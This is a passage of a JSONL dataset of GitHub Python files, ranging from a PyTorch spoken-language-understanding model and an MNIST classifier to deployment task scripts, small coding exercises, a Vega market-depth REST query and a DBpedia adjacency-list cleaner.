\r\n \r\n \r\n def site(self, jogo):\r\n webbrowser.open(self.actual[jogo][\"melhor preco link\"])\r\n \r\n def loop(self):\r\n self.core.mainloop()\r\n\r\nMain = Main_Window()\r\nMain.loop() \r\n","repo_name":"brunodratcu/projeto_final_DS","sub_path":"Synchromatic.py","file_name":"Synchromatic.py","file_ext":"py","file_size_in_byte":42166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1750325738","text":"\n# 1st line: Total shirt available\nn_stock = input()\n\n# 2nd Line input: Shirt size available\nsizes_str = input().lower().split(' ')\nsizes = [str(x) for x in sizes_str]\n\n# 3rd line input: Number of requests\nn_request = input()\n\n# 4th line: Requested sizes\nrequests_str = input().lower().split(' ')\nrequests = [str(x) for x in requests_str]\n\n# Validating that n_stock >= n_request\nif n_request > n_stock:\n print(\"No\")\n quit()\n\n# Encode size availables\nsize_conv = []\nfor i in sizes:\n x_count = 0;\n for xs in i:\n if xs == \"x\":\n x_count += 1\n else:\n last_char = xs\n \n if x_count == 0:\n size_parsed = last_char\n else:\n size_parsed = str(x_count) + \"x\" + last_char\n \n size_conv.append(size_parsed)\n\n# Encode requests\nrequests_conv = []\nfor i in requests:\n x_count = 0;\n for xs in i:\n if xs == \"x\":\n x_count += 1\n else:\n last_char = xs\n \n if x_count == 0:\n size_parsed = last_char\n else:\n size_parsed = str(x_count) + \"x\" + last_char\n \n requests_conv.append(size_parsed)\n\n\n# Evaluate requests\nfor i in requests_conv:\n digits = ''.join(x for x in i if x.isdigit())\n alpha = ''.join(x for x in i if x.isalpha())\n \n # Stub\n print (\"Yes\") # Remove later -- testing only\n ","repo_name":"josephthen3320/2023-associate-recruitment-technical","sub_path":"Q1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"11161443916","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nfrom contextlib import contextmanager\nfrom os.path import dirname, join, realpath\nfrom os import system\nfrom sys import argv\n\n\nCURR_DIR = dirname(realpath(__file__))\nAPP_DIR = join(CURR_DIR, 'app')\nLOGS_DIR = join(CURR_DIR, 'logs')\n\nTASKS = {}\n\n\ndef task(func):\n TASKS[func.__name__] = func\n return func\n\n\n@contextmanager\ndef lcd(path):\n def local(cmd):\n system('cd \"%s\" && %s' % (path, cmd))\n\n yield local\n\n\n@task\ndef build_static():\n 'build js and css'\n\n with lcd(APP_DIR) as local:\n # js\n local('cp -r vendor static')\n local('coffee --print static-src/app.coffee | uglifyjs > static/app.js')\n\n # css\n local('sass static-src/style.sass > static/style.css')\n\n\n@task\ndef deploy():\n 'update production with latest changes'\n\n logs_fetch()\n system('git push --force-with-lease dokku HEAD:master')\n visit()\n\n\n@task\ndef runserver():\n 'run locally'\n\n prefix = 'PYTHONPATH=\"${PYTHONPATH}:$(pwd)\" '\n\n with lcd(CURR_DIR) as local:\n local(prefix + 'python app/generator.py &')\n local('f() { sleep 0.2; open http://localhost:8000; }; f &')\n local(prefix + 'python app/server.py')\n\n\n@task\ndef logs_fetch():\n # logs start at the last deployment\n with lcd(LOGS_DIR) as local:\n local(\"ssh dokku -t 'docker logs $(cat /home/dokku/links/CONTAINER.web.1)' | gzip > $(date +%Y-%m-%d_%H%M).txt.gz\")\n\n\n@task\ndef logs_show():\n with lcd(LOGS_DIR) as local:\n local(\"gunzip -c $(ls *.txt.gz) | ag -v 'GET /static' | goaccess -o html > index.html && open index.html\")\n\n\n@task\ndef publish():\n 'publish to GitHub and deploy to production'\n\n deploy()\n system('git push')\n\n\n@task\ndef visit():\n 'visit links.narf.pl'\n system('open http://links.narf.pl/')\n\n\nif __name__ == '__main__':\n TASKS[argv[1]]()\n","repo_name":"narfdotpl/links","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"5157431321","text":"from unittest import TestCase\nfrom unittest.mock import patch\nfrom peewee import Model, CharField, IntegerField\n\n\nclass TestPerson1(TestCase):\n def test_peewee_crud_read(self):\n\n # Define a model for testing purposes\n class Person(Model):\n name = CharField()\n age = IntegerField()\n\n # Patch the `get` method to return a test person\n with patch.object(Person, \"get\") as mock:\n mock.return_value = Person(name=\"Alice\", age=30)\n\n # Call the `get` method and check the returned value\n person = Person.get(Person.name == \"Alice\")\n assert person.name == \"Alice\"\n assert person.age == 30\n","repo_name":"flaviomicheletti/python-peewee","sub_path":"person1/test_person0.py","file_name":"test_person0.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"18274522146","text":"# cli.py\n\nimport argparse\n\ndef read_user_cli_args():\n \"\"\"Handle the CLI arguments and options.\"\"\"\n parser = argparse.ArgumentParser(\n prog=\"rpchecker\", description=\"check the availability of websites\"\n )\n parser.add_argument(\n \"-u\",\n \"--urls\",\n metavar=\"URLs\",\n nargs=\"+\",\n type=str,\n default=[],\n help=\"enter one or more website URLs\",\n )\n \n parser.add_argument(\n \"-f\",\n \"--input-file\",\n metavar=\"FILE\",\n type=str,\n default=\"\",\n help=\"read URLs from a file\",)\n \n return parser.parse_args()\n\n#==============================================================================================\n \ndef display_check_result(result, url, error=\"\"):\n \"\"\"Mostra o resultado de um teste de resultado.\"\"\"\n print(f'The status of \"{url}\" is:', end=\" \")\n if result:\n print('\"O pai tá on!\"')\n else:\n print(f'\"Deixa baixo, tá off\" \\n Erro: \"{error}\"') \n \n","repo_name":"GabrielaSiston/project_api_conect","sub_path":"rpchecker/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21303238938","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@CreateTime : 2020/4/20 9:59\n@Author : dcteng\n@File : deeper_module.py\n@Software : PyCharm\n@Framework : Pytorch\n@LastModify : 2020/4/20 9:59\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom src.components import operation as op\nfrom src.components.layers import FusionLayer, EmbeddingCollection, LSTMEncoder, LSTMDecoder\nfrom src.components.layers import QKVAttention, SelfAttention, AttentiveModule, MLPAttention\n\nMASK_VALUE = -2 ** 32 + 1\n\nclass DeeperModelManager(nn.Module):\n\n def __init__(self, args, num_char, num_word, num_slot, num_intent, char_emb=None, word_emb=None):\n super(DeeperModelManager, self).__init__()\n\n # hyper-parameters\n self.__num_char = num_char\n self.__num_word = num_word\n self.__num_slot = num_slot\n self.__num_intent = num_intent\n self.__bmes_dim = 10\n self.__args = args\n\n if not self.__args.unique_vocabulary:\n # Initialize an char embedding object.\n self.__char_embedding = EmbeddingCollection(self.__num_char, self.__args.char_embedding_dim,\n pretrain_embedding=char_emb)\n else:\n assert self.__args.char_embedding_dim == self.__args.word_embedding_dim\n # Initialize an word embedding object.\n self.__word_embedding = EmbeddingCollection(self.__num_word, self.__args.word_embedding_dim,\n pretrain_embedding=word_emb)\n\n # Initialize an LSTM Encoder object for char level\n self.__char_encoder = LSTMEncoder(self.__args.char_embedding_dim, self.__args.encoder_hidden_dim,\n self.__args.dropout_rate)\n # Initialize an self-attention layer for char level\n self.__char_attention = SelfAttention(self.__args.char_embedding_dim, self.__args.char_attention_hidden_dim,\n self.__args.attention_output_dim, self.__args.dropout_rate)\n self.__char_encoder_output_dim = self.__args.encoder_hidden_dim + self.__args.attention_output_dim\n\n # dropout layer\n self.__dropout_layer = nn.Dropout(self.__args.dropout_rate)\n\n # encoder that merges chars into word\n # TODO: set char2word encoder_hidden_dim and attention_output_dim ?\n # TODO: set char bmes embedding for char2word ?\n self.__bmes_embedding4char = nn.Embedding(4, self.__bmes_dim)\n self.__char2word_input_dim = self.__args.char_embedding_dim + (self.__bmes_dim if self.__args.use_char_bmes_emb else 0)\n self.__char2word_encoder = LSTMEncoder(self.__char2word_input_dim, self.__args.encoder_hidden_dim,\n self.__args.dropout_rate)\n if self.__args.use_c2w_encoder_qkv_input_linear:\n self.__char2word_attention = QKVAttention(\n self.__args.word_embedding_dim, self.__char2word_input_dim, self.__char2word_input_dim,\n self.__args.word_attention_hidden_dim, self.__args.attention_output_dim, self.__args.dropout_rate,\n input_linear=True, bilinear=False\n )\n else:\n self.__char2word_attention = AttentiveModule(\n self.__args.word_embedding_dim, self.__char2word_input_dim, self.__char2word_input_dim,\n self.__args.attention_output_dim, self.__args.dropout_rate,\n bilinear=self.__args.bilinear_attention\n )\n\n self.__word_encoder_dim = self.__args.word_embedding_dim + self.__args.encoder_hidden_dim + self.__args.attention_output_dim\n # 4: none\n self.__bmes_embedding4word = nn.Embedding(5, self.__bmes_dim)\n self.__word_encoder_output_dim = self.__word_encoder_dim + (self.__bmes_dim if self.__args.use_word_bmes_emb else 0)\n self.__word_none_embedding = nn.Parameter(torch.randn(self.__word_encoder_dim), requires_grad=True)\n\n # Intent detection\n self.__char_sent_attention = MLPAttention(self.__char_encoder_output_dim, self.__args.dropout_rate)\n\n if self.__args.use_c2w_qkv_input_linear:\n self.__intent_c2w_attention = QKVAttention(\n self.__char_encoder_output_dim, self.__word_encoder_output_dim, self.__word_encoder_output_dim,\n self.__args.intent_c2w_attention_hidden_dim, self.__char_encoder_output_dim, self.__args.dropout_rate,\n input_linear=True, bilinear=False\n )\n else:\n self.__intent_c2w_attention = AttentiveModule(\n self.__char_encoder_output_dim, self.__word_encoder_output_dim, self.__word_encoder_output_dim,\n self.__char_encoder_output_dim, self.__args.dropout_rate,\n bilinear=self.__args.bilinear_attention\n )\n \n # self.__word_encoder = LSTMEncoder(self.__args.char_embedding_dim, self.__args.encoder_hidden_dim,\n # self.__args.dropout_rate)\n # # Initialize an self-attention layer for char level\n # self.__word_attention = SelfAttention(self.__args.char_embedding_dim, self.__args.word_attention_hidden_dim,\n # self.__args.attention_output_dim, self.__args.dropout_rate)\n\n self.__char_encoder_output_dim = self.__args.encoder_hidden_dim + self.__args.attention_output_dim\n\n self.__word_sent_attention = MLPAttention(self.__char_encoder_output_dim, self.__args.dropout_rate)\n\n # TODO: layerNorm ?\n # TODO: new fusion style ?\n self.__intent_fusion_layer = FusionLayer(self.__char_encoder_output_dim, self.__char_encoder_output_dim,\n self.__args.dropout_rate, self.__args.intent_fusion_type,\n class_num=self.__num_intent)\n\n # One-hot encoding for augment data feed.\n self.__intent_embedding = nn.Embedding(self.__num_intent, self.__num_intent)\n self.__intent_embedding.weight.data = torch.eye(self.__num_intent)\n self.__intent_embedding.weight.requires_grad = False\n\n # TODO: Insert an Encoder object for word-level slot ?\n # Initialize an Encoder object for word-level slot.\n self.__word_slot_encoder = LSTMEncoder(self.__char_encoder_output_dim, self.__args.slot_decoder_hidden_dim,\n self.__args.dropout_rate,\n bidirectional=not self.__args.undirectional_word_level_slot_encoder,\n extra_dim=self.__num_intent)\n\n # Initialize an Decoder object for char-level slot.\n self.__char_slot_decoder = LSTMDecoder(\n self.__char_encoder_output_dim,\n self.__args.slot_decoder_hidden_dim,\n self.__num_slot, self.__args.dropout_rate, self.__args.slot_fusion_type,\n embedding_dim=self.__args.slot_embedding_dim,\n extra_input_dim=self.__num_intent,\n extra_hidden_dim=None if self.__args.single_channel_slot else self.__args.slot_decoder_hidden_dim\n )\n\n def show_summary(self):\n \"\"\"\n print the abstract of the defined model.\n \"\"\"\n print('Model parameters are listed as follows:\\n')\n\n print('\\tdropout rate:\t\t\t\t\t\t {};'.format(self.__args.dropout_rate))\n print('\\tdifferentiable:\t\t\t\t\t\t {};'.format(self.__args.differentiable))\n print('\\tunique vocabulary:\t\t\t\t\t\t {};'.format(self.__args.unique_vocabulary))\n print('\\tgolden intent: {};'.format(self.__args.golden_intent))\n print('\\tsingle channel intent: {};'.format(self.__args.single_channel_intent))\n print('\\tsingle channel slot: {};'.format(self.__args.single_channel_slot))\n print('\\tundirectional word-level slot encoder: {};'.format(self.__args.undirectional_word_level_slot_encoder))\n print('\\tnumber of char:\t\t\t\t\t\t {};'.format(self.__num_char))\n print('\\tnumber of word: {};'.format(self.__num_word))\n print('\\tnumber of slot: {};'.format(self.__num_slot))\n print('\\tnumber of intent:\t\t\t\t\t\t {};'.format(self.__num_intent))\n print('\\tchar embedding dimension:\t\t\t\t {};'.format(self.__args.char_embedding_dim))\n print('\\tword embedding dimension:\t\t\t\t {};'.format(self.__args.word_embedding_dim))\n print('\\tencoder hidden dimension:\t\t\t\t {};'.format(self.__args.encoder_hidden_dim))\n print('\\thidden dimension of char-level self-attention: {};'.format(self.__args.char_attention_hidden_dim))\n print('\\thidden dimension of word-level self-attention: {};'.format(self.__args.word_attention_hidden_dim))\n print('\\toutput dimension of self-attention: {};'.format(self.__args.attention_output_dim))\n print('\\tintent fusion type: {};'.format(self.__args.intent_fusion_type))\n print('\\tslot fusion type: {};'.format(self.__args.slot_fusion_type))\n print('\\tdimension of slot embedding:\t\t\t {};'.format(self.__args.slot_embedding_dim))\n print('\\tdimension of slot decoder hidden: \t {};\\n'.format(self.__args.slot_decoder_hidden_dim))\n\n print('\\tuse char bmes embedding: {};'.format(self.__args.use_char_bmes_emb))\n print('\\tuse word bmes embedding: {};'.format(self.__args.use_word_bmes_emb))\n print('\\tuse char2word encoder qkv input linear layer: {};'.format(self.__args.use_c2w_encoder_qkv_input_linear))\n print('\\tuse char2word qkv input linear layer: {};'.format(self.__args.use_c2w_qkv_input_linear))\n print('\\tbilinear attention: {};'.format(self.__args.bilinear_attention))\n print('\\tintent c2w attention hidden dim: {};\\n'.format(self.__args.intent_c2w_attention_hidden_dim))\n\n print('\\nEnd of parameters show. Now training begins.\\n\\n')\n\n def construct_word_embedding(self, char_tensor, char_seq_lens, word_list, device):\n \"\"\"\n char_tensor: [bs, mcsl, ced]\n word_list: list of list of [word_ids, word_lens]\n :return:\n \"\"\"\n word_ids, char_idxs4word, char_bmes, word_lens, batch_word_idxs4char, batch_bmes4char, batch_word_num4char = \\\n op.construct_word4char(word_list, only_one_none=True)\n\n flat_char_tensor = torch.cat([char_tensor[i][:char_seq_lens[i], :] for i in range(0, len(char_seq_lens))], dim=0)\n # [num_word, wed]\n word_tensor = self.__word_embedding(torch.tensor(word_ids, device=device))\n # [num_char4word, ced]\n char_tensor4word = torch.index_select(flat_char_tensor, dim=0, index=torch.tensor(char_idxs4word, device=device))\n if self.__args.use_char_bmes_emb:\n char_bmes4word = self.__bmes_embedding4char(torch.tensor(char_bmes, device=device))\n char_tensor4word = torch.cat([char_tensor4word, char_bmes4word], dim=-1)\n\n # [num_char4word, ced], [num_word] -> [num_word, max_num_char4word, ced], [num_word, max_num_char4word]\n char_tensor4word, char_mask4word = op.pad_tensor_along_batch(char_tensor4word, word_lens)\n\n # [num_word, max_num_char4word, ehd]\n char_lstm_hiddens4word = self.__char2word_encoder(char_tensor4word, word_lens)\n H = char_lstm_hiddens4word.shape[-1]\n # [num_word, 1, H]\n gather_index = (torch.tensor(word_lens, device=device) - 1).unsqueeze(1).unsqueeze(-1).expand(-1, -1, H)\n # [num_word, ehd]\n word_lstm_hiddens = torch.cat([torch.gather(char_lstm_hiddens4word, dim=1, index=gather_index)[:, 0, :(H // 2)],\n char_lstm_hiddens4word[:, 0, (H // 2):]], dim=-1)\n\n dropout_word_tensor = self.__dropout_layer(word_tensor)\n dropout_char_tensor4word = self.__dropout_layer(char_tensor4word)\n # [num_word, aod]\n word_attention_hiddens = self.__char2word_attention(dropout_word_tensor.unsqueeze(1),\n dropout_char_tensor4word,\n dropout_char_tensor4word,\n mmask=char_mask4word.unsqueeze(1)).squeeze(1)\n # [num_word, wed + ehd + aod]\n word_hiddens = torch.cat([word_tensor, word_lstm_hiddens, word_attention_hiddens], dim=-1)\n word_hiddens = torch.cat([self.__word_none_embedding[None, :], word_hiddens], dim=0)\n\n # [total_word_num4char, wed + ehd + aod]\n word_hiddens4char = torch.index_select(word_hiddens, dim=0, index=torch.tensor(batch_word_idxs4char, device=device))\n if self.__args.use_word_bmes_emb:\n word_bmes4char = self.__bmes_embedding4word(torch.tensor(batch_bmes4char, device=device))\n word_hiddens4char = torch.cat([word_bmes4char, word_hiddens4char], dim=-1)\n\n # [total_word_num4char, weod], [num_char]\n # -> [num_char, max_num_word, weod], [nc, max_num_word]\n word_hiddens4char, word_mask4char = op.pad_tensor_along_batch(word_hiddens4char, batch_word_num4char)\n\n return word_hiddens4char, word_mask4char\n\n def forward(self, char_text, char_seq_lens, word_text, word_seq_lens, align_info, word_info,\n n_predicts=None, forced_slot=None, golden_intent=None):\n word_list = word_info[0]\n\n # Get embeddings\n char_tensor = self.__char_embedding(char_text) if not self.__args.unique_vocabulary else \\\n self.__word_embedding(char_text)\n\n # Get mask\n device = char_tensor.device\n char_rmask, char_mmask = op.generate_mask(char_seq_lens, device)\n\n # Pass char encoder\n char_lstm_hiddens = self.__char_encoder(char_tensor, char_seq_lens)\n char_attention_hiddens = self.__char_attention(char_tensor, char_seq_lens, mmask=char_mmask)\n char_hiddens = torch.cat([char_attention_hiddens, char_lstm_hiddens], dim=-1)\n\n # [nc, ceod]\n flat_char_hiddens = torch.cat([char_hiddens[i][:char_seq_lens[i], :] for i in range(0, len(char_seq_lens))], dim=0)\n\n if not self.__args.single_channel_intent or not self.__args.single_channel_slot:\n # [num_char, max_num_word, weod], [nc, max_num_word]\n word_hiddens4char, word_mask4char = self.construct_word_embedding(char_tensor, char_seq_lens, word_list, device)\n # merge words for each char\n dropout_flat_char_hiddens = self.__dropout_layer(flat_char_hiddens)\n dropout_word_hiddens4char = self.__dropout_layer(word_hiddens4char)\n # [nc, ceod]\n word_output4char = self.__intent_c2w_attention(dropout_flat_char_hiddens.unsqueeze(1),\n dropout_word_hiddens4char,\n dropout_word_hiddens4char,\n mmask=word_mask4char.unsqueeze(1)).squeeze(1)\n # [nc, ceod], [bs] -> [bs, mcsl, ceod], [bs, mcsl]\n batch_word_output4char, _ = op.pad_tensor_along_batch(word_output4char, char_seq_lens)\n\n # Intent Detection\n # [bs, max_char_seq_len, ceod] -> [bs, ceod]\n char_sent_output = self.__char_sent_attention(char_hiddens, rmask=char_rmask)\n\n if not self.__args.single_channel_intent:\n # [bs, mcsl, ceod] -> [bs, ceod]\n word_sent_output = self.__word_sent_attention(batch_word_output4char, rmask=char_rmask)\n\n pred_intent = self.__intent_fusion_layer(char_sent_output,\n y=None if self.__args.single_channel_intent else word_sent_output,\n dropout=True)\n\n if not self.__args.differentiable:\n _, idx_intent = pred_intent.topk(1, dim=-1)\n if self.__args.golden_intent:\n assert golden_intent is not None\n feed_intent = self.__intent_embedding(golden_intent)\n else:\n feed_intent = self.__intent_embedding(idx_intent.squeeze(1))\n else:\n assert not self.__args.golden_intent\n feed_intent = pred_intent\n\n # [bs, mcsl, intent_dim]\n char_feed_intent = feed_intent.unsqueeze(1).expand(-1, char_hiddens.size(1), -1)\n\n if not self.__args.single_channel_slot:\n # pass word-level slot encoder\n # [bs, mcsl, ceod] -> [bs, mcsl, slot_decoder_hidden_dim]\n word_slot_out4char = self.__word_slot_encoder(batch_word_output4char, char_seq_lens, extra_input=char_feed_intent)\n flat_word_slot_out4char = torch.cat([word_slot_out4char[i][:char_seq_lens[i], :]\n for i in range(0, len(char_seq_lens))], dim=0)\n\n # Pass char-level slot decoder\n # [nc, intent_dim]\n flat_char_feed_intent = torch.cat([char_feed_intent[i][:char_seq_lens[i], :]\n for i in range(0, len(char_seq_lens))], dim=0)\n # [nc, num_slot], [nc, sdhd]\n pred_slot, char_slot_out = self.__char_slot_decoder(\n flat_char_hiddens, char_seq_lens,\n forced_input=forced_slot,\n extra_input=flat_char_feed_intent,\n extra_hidden=None if self.__args.single_channel_slot else flat_word_slot_out4char,\n attention_module=None)\n\n if n_predicts is None:\n return F.log_softmax(pred_slot, dim=1), F.log_softmax(pred_intent, dim=1)\n else:\n _, slot_index = pred_slot.topk(n_predicts, dim=1)\n _, intent_index = pred_intent.topk(n_predicts, dim=1)\n\n return slot_index.cpu().data.numpy().tolist(), \\\n intent_index.cpu().data.numpy().tolist()","repo_name":"AaronTengDeChuan/MLWA-Chinese-SLU","sub_path":"src/modules/deeper_module.py","file_name":"deeper_module.py","file_ext":"py","file_size_in_byte":18370,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"7"} +{"seq_id":"30107657356","text":"import torch \nfrom tqdm import tqdm\n\ndef train(dataloader, train_elems):\n # Unpack the dataloaders and training elements\n train_dataloader, eval_dataloader, _ = dataloader\n model = train_elems['model']\n optimizer = train_elems['optimizer']\n criterion = train_elems['criterion']\n num_epochs = train_elems['num_epochs']\n\n # Start the training loop\n for epoch in range(num_epochs):\n model.train() # Set the model to training mode\n train_progress = tqdm(train_dataloader, desc=f\"Training Epoch {epoch+1}/{num_epochs}\")\n for inputs, targets in train_progress:\n optimizer.zero_grad() # Clear the gradients\n outputs = model(inputs['input_ids'].float()) # Forward pass\n loss = criterion(outputs, targets) # Compute the loss\n loss.backward() # Backward pass\n optimizer.step() # Update the weights\n # Display the training loss\n train_progress.set_postfix({'training_loss': '{:.3f}'.format(loss.item()/len(inputs))})\n \n model.eval() # Set the model to evaluation mode\n with torch.no_grad(): # No need to track gradients in validation phase\n total = 0\n correct = 0\n for inputs, targets in eval_dataloader:\n outputs = model(inputs['input_ids'].float()) # Forward pass\n _, predicted = torch.max(outputs.data, 1) # Get the predicted classes\n total += targets.size(0)\n correct += (predicted == targets).sum().item()\n accuracy = 100 * correct / total # Compute the accuracy\n # Print the validation accuracy for this epoch\n print(f\"Epoch [{epoch+1}/{num_epochs}], Validation Accuracy: {accuracy:.2f}%\")\n","repo_name":"mohsenSohrabi/defect-detection","sub_path":"utils/data_helper.py","file_name":"data_helper.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27027478238","text":"import torch\nimport torchvision\nimport torch.nn as nn\n\ninput_size = 28*28\nnum_classes = 10\n# first make our classifier... just basic 2 hidden layer feedforward\nclass Classifier(nn.Module):\n def __init__(self, input_size=28*28, num_classes=10, hidden_1=0):\n assert hidden_1 >= 0\n super().__init__()\n if hidden_1 == 0:\n self.layer = nn.Sequential(\n nn.Linear(input_size, num_classes),\n nn.Softmax(dim=1)\n ) \n else:\n self.layer = nn.Sequential(\n nn.Linear(input_size, hidden_1),\n nn.Sigmoid(),\n nn.Linear(hidden_1, num_classes),\n nn.Softmax(dim=1)\n ) \n \n def forward(self, xb):\n xb = xb.reshape(-1, 784)\n out = self.layer(xb)\n return out\n\n\ndef init_weights(m):\n if type(m) == nn.Linear:\n torch.nn.init.xavier_uniform_(m.weight)\n m.bias.data.fill_(0.01)\n\n\ndef accuracy(outputs, labels):\n _, preds = torch.max(outputs, dim=1)\n return torch.tensor(torch.sum(preds == labels).item() / len(preds))\n\n\ndef validate(model, val_loader, lossfn):\n # validation step\n val_loss_temp = []\n val_acc_temp = []\n for val, val_label in val_loader:\n val_pred = model(val)\n val_loss = lossfn(val_pred, val_label)\n val_acc = accuracy(val_pred, val_label)\n val_loss_temp += [val_loss]\n val_acc_temp += [val_acc]\n epoch_val_loss = torch.stack(val_loss_temp).mean()\n epoch_val_acc = torch.stack(val_acc_temp).mean()\n return epoch_val_loss, epoch_val_acc\n","repo_name":"timmytonga/BFT-ASGD","sub_path":"mnist_models.py","file_name":"mnist_models.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22349352976","text":"class Solution:\n def numIslands(self, grid: List[List[str]]) -> int:\n def get_neighbors(x, y):\n result = []\n if x+1 < len(grid):\n result.append((x+1, y))\n if y+1 < len(grid[0]):\n result.append((x, y+1))\n if x-1 >= 0:\n result.append((x-1, y))\n if y-1 >= 0:\n result.append((x, y-1))\n return result\n\n # traverse the grid using dfs\n def dfs(i, j):\n # mark the grid 0 when visited\n grid[i][j] = '0'\n neighbors = get_neighbors(i, j)\n for (neighbor_x, neighbor_y) in neighbors:\n if grid[neighbor_x][neighbor_y] != '0':\n dfs(neighbor_x, neighbor_y)\n\n # outer loop\n islands = 0\n for x in range(len(grid)):\n for y in range(len(grid[0])):\n if grid[x][y] == '1':\n dfs(x, y)\n islands += 1\n return islands\n\n## Time Complexity: O(M X N)\n## Space Complexity: O(M X N)","repo_name":"priyanka-asnani/Leetcode-Problems","sub_path":"Graphs/DFS/200. Number of Islands.py","file_name":"200. Number of Islands.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10666260796","text":"# Write your solution here\ndef get_station_data(filename: str):\n dictionary = {}\n \n with open(filename) as file:\n for line in file:\n parts = line.split(\";\")\n if parts[0] == \"Longitude\":\n continue\n dictionary[parts[3]] = (float(parts[0]), float(parts[1]))\n\n return dictionary\n\ndef distance(stations: dict, station1: str, station2: str):\n import math\n \n if station1 in stations:\n longitude1 = stations[station1][0]\n latitude1 = stations[station1][1]\n if station2 in stations:\n longitude2 = stations[station2][0]\n latitude2 = stations[station2][1]\n\n x_km = (longitude1 - longitude2) * 55.26\n y_km = (latitude1 - latitude2) * 111.2\n distance_km = math.sqrt(x_km**2 + y_km**2)\n\n return distance_km\n\ndef greatest_distance(stations: dict):\n import math\n\n results = []\n temp = []\n\n for m in stations:\n for n in stations:\n x_km = (stations[m][0] - stations[n][0]) * 55.26\n y_km = (stations[m][1] - stations[n][1]) * 111.2\n distance_km = math.sqrt(x_km**2 + y_km**2)\n results.append((m, n, distance_km))\n temp.append(distance_km)\n \n for station1, station2, distance in results:\n if distance == max(temp):\n return station1, station2, distance\n\nif __name__ == \"__main__\":\n stations = get_station_data('stations1.csv')\n station1, station2, greatest = greatest_distance(stations)\n print(station1, station2, greatest)","repo_name":"lordofmetis/helsinki","sub_path":"part06-09_city_bikes/src/city_bikes.py","file_name":"city_bikes.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33798159756","text":"#!/usr/bin/python3\n\n###############################################################################\n# G E T M A R K E T D E P T H #\n###############################################################################\n\n# How to get market depth information from a Data Node using REST calls:\n# ----------------------------------------------------------------------\n# Pagination is NOT supported on this endpoint.\n# ----------------------------------------------------------------------\n# The following path parameter is required:\n# marketId: Vega market id\n# ----------------------------------------------------------------------\n# The list can be filtered by various parameters, including:\n# maxDepth: Maximum number of levels to return\n# ----------------------------------------------------------------------\n# For full details see the REST Reference API docs at https://docs.vega.xyz\n\nimport json\nimport requests\nimport helpers\n\n# Load Vega node API v2 URL, this is set using 'source vega-config'\n# located in the root folder of the sample-api-scripts repository\ndata_node_url_rest = helpers.get_from_env(\"DATA_NODE_URL_REST\")\n\n# Load Vega market id\nmarket_id = helpers.env_market_id()\nassert market_id != \"\"\n\n# __get_market_depth:\n# Request market depth for a specific market using a pre-defined market id\nurl = f\"{data_node_url_rest}/market/depth/{market_id}/latest?maxDepth=50\"\nresponse = requests.get(url)\nhelpers.check_response(response)\nprint(\"Market depth for market:\\n{}\".format(\n json.dumps(response.json(), indent=2, sort_keys=True)\n))\n# :get_market_depth__\n","repo_name":"vegaprotocol/sample-api-scripts","sub_path":"rest/get-market-depth.py","file_name":"get-market-depth.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"7"} +{"seq_id":"74881632864","text":"\"\"\"\nThis file is designed to 'clean' the original adjacency list, essentially removing all articles that don't\nexceed a certain arbitrary threshold for number of links\n\"\"\"\n\nimport pymongo as pm\nimport multiprocessing\n\nclient = pm.MongoClient()\n\ndb = client.adj_mat\n\ndef process_cursor(skip_n, limit_n):\n\n process_client = pm.MongoClient()\n db = process_client.adj_mat\n\n for i, document in enumerate(db.first_adj.find().skip(skip_n).limit(limit_n).batch_size(100)):\n\n # only add a new document if the old one has more than 10 links\n if len(document[\"neighbours\"]) > 10:\n\n doc_insert = {\n \"subject\": document[\"subject\"],\n \"neighbours\": document[\"neighbours\"]\n }\n\n db.clean_adj.insert_one(doc_insert)\n\n\ncores = 7\ncollection_size = db.first_adj.count()\nbatch_size = collection_size//7\nskips = range(0, collection_size, batch_size)\nthreads = [multiprocessing.Process(target=process_cursor, args=(skip_n, batch_size))for skip_n in skips]\n\nfor thread in threads:\n thread.start()\n\nfor thread in threads:\n thread.join()\n","repo_name":"OBrien1510/dbpeadia_adj_list","sub_path":"clean_db.py","file_name":"clean_db.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17057211072","text":"import collections\r\nimport csv\r\nimport os, sys\r\nimport numpy as np\r\nimport logging\r\nimport random\r\nimport json\r\nimport re, string\r\nimport argparse\r\nfrom tqdm import tqdm, trange\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch.nn import CrossEntropyLoss\r\nfrom torch.utils.data import DataLoader, RandomSampler, SequentialSampler, TensorDataset\r\ntry:\r\n from torch.utils.tensorboard import SummaryWriter\r\nexcept ImportError:\r\n from tensorboardX import SummaryWriter\r\nfrom transformers import BertTokenizer, BertConfig\r\n\r\nfrom parser import get_parser\r\nfrom data_processor import load_and_cache_examples, get_predicted_keyphrase\r\nfrom model import BLING_KPE\r\nfrom evaluation import evaluate_kps\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\ndef set_seed():\r\n random.seed(11747)\r\n 